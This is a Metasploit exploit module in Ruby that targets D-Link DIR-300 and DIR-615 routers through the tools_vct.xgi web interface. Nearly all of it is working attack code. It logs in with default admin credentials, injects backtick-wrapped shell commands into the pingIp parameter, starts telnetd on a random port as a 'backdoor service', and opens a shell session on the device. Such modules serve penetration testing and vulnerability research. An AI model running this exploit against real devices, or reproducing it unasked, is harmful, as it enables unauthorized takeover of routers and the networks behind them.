D-Link Devices – ‘tools_vct.xgi’ Remote Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::CommandShell def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution', 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection via the web interface. The vulnerability exists in tools_vct.xgi, which is accessible with credentials. This module has been tested with the versions DIR-300 rev A v1.05 and DIR-615 rev D v4.13. Two target are included, the first one starts a telnetd service and establish a session over it, the second one runs commands via the CMD target. There is no wget or tftp client to upload an elf backdoor easily. According to the vulnerability discoverer, more D-Link devices may affected. }, 'Author' => [ 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '92698' ], [ 'EDB', '25024' ], [ 'BID', '59405' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ] ], 'DisclosureDate' => 'Apr 22 2013', 'Privileged' => true, 'Platform' => ['linux','unix'], 'Payload' => { 'DisableNops' => true, }, 'Targets' => [ [ 'CMD', #all devices { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Telnet', #all devices - default target { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], ], 'DefaultTarget' => 1 )) register_options( [ OptString.new('USERNAME',[ true, 'User to login with', 'admin']), OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']), ], self.class) end def exploit user = datastore['USERNAME'] if datastore['PASSWORD'].nil? pass = "" else pass = datastore['PASSWORD'] end test_login(user, pass) if target.name =~ /CMD/ exploit_cmd else exploit_telnet end end def test_login(user, pass) print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") login_path = "/login.php" #valid login response includes the following login_check = "\<META\ HTTP\-EQUIV\=Refresh\ CONTENT\=\'0\;\ url\=index.php\'\>" begin res = send_request_cgi({ 'uri' => login_path, 'method' => 'POST', 'vars_post' => { "ACTION_POST" => "LOGIN", "LOGIN_USER" => "#{user}", "LOGIN_PASSWD" => "#{pass}", "login" => "+Log+In+" } }) if res.nil? fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response") end if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner") end if (res.code == 404) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error") end if (res.body) =~ /#{login_check}/ print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") end end def exploit_cmd if not (datastore['CMD']) fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end res = request(payload.encoded) if (!res or res.code != 302 or res.headers['Server'].nil? or res.headers['Server'] !~ /Alpha_webserv/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\n") return end def exploit_telnet telnetport = rand(65535) vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") cmd = "telnetd -p #{telnetport}" #starting the telnetd gives no response request(cmd) begin sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) if sock print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") add_socket(sock) else fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" auth_info = { :host => rhost, :port => telnetport, :sname => 'telnet', :user => "", :pass => "", :source_type => "exploit", :active => true } report_auth_info(auth_info) merge_me = { 'USERPASS_FILE' => nil, 'USER_FILE' => nil, 'PASS_FILE' => nil, 'USERNAME' => nil, 'PASSWORD' => nil } start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) rescue fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end return end def request(cmd) uri = '/tools_vct.xgi' begin res = send_request_cgi({ 'uri' => uri, 'vars_get' => { 'set/runtime/switch/getlinktype' => "1", 'set/runtime/diagnostic/pingIp' => "`#{cmd}`", 'pingIP' => "" }, 'method' => 'GET', }) return res rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") end end end |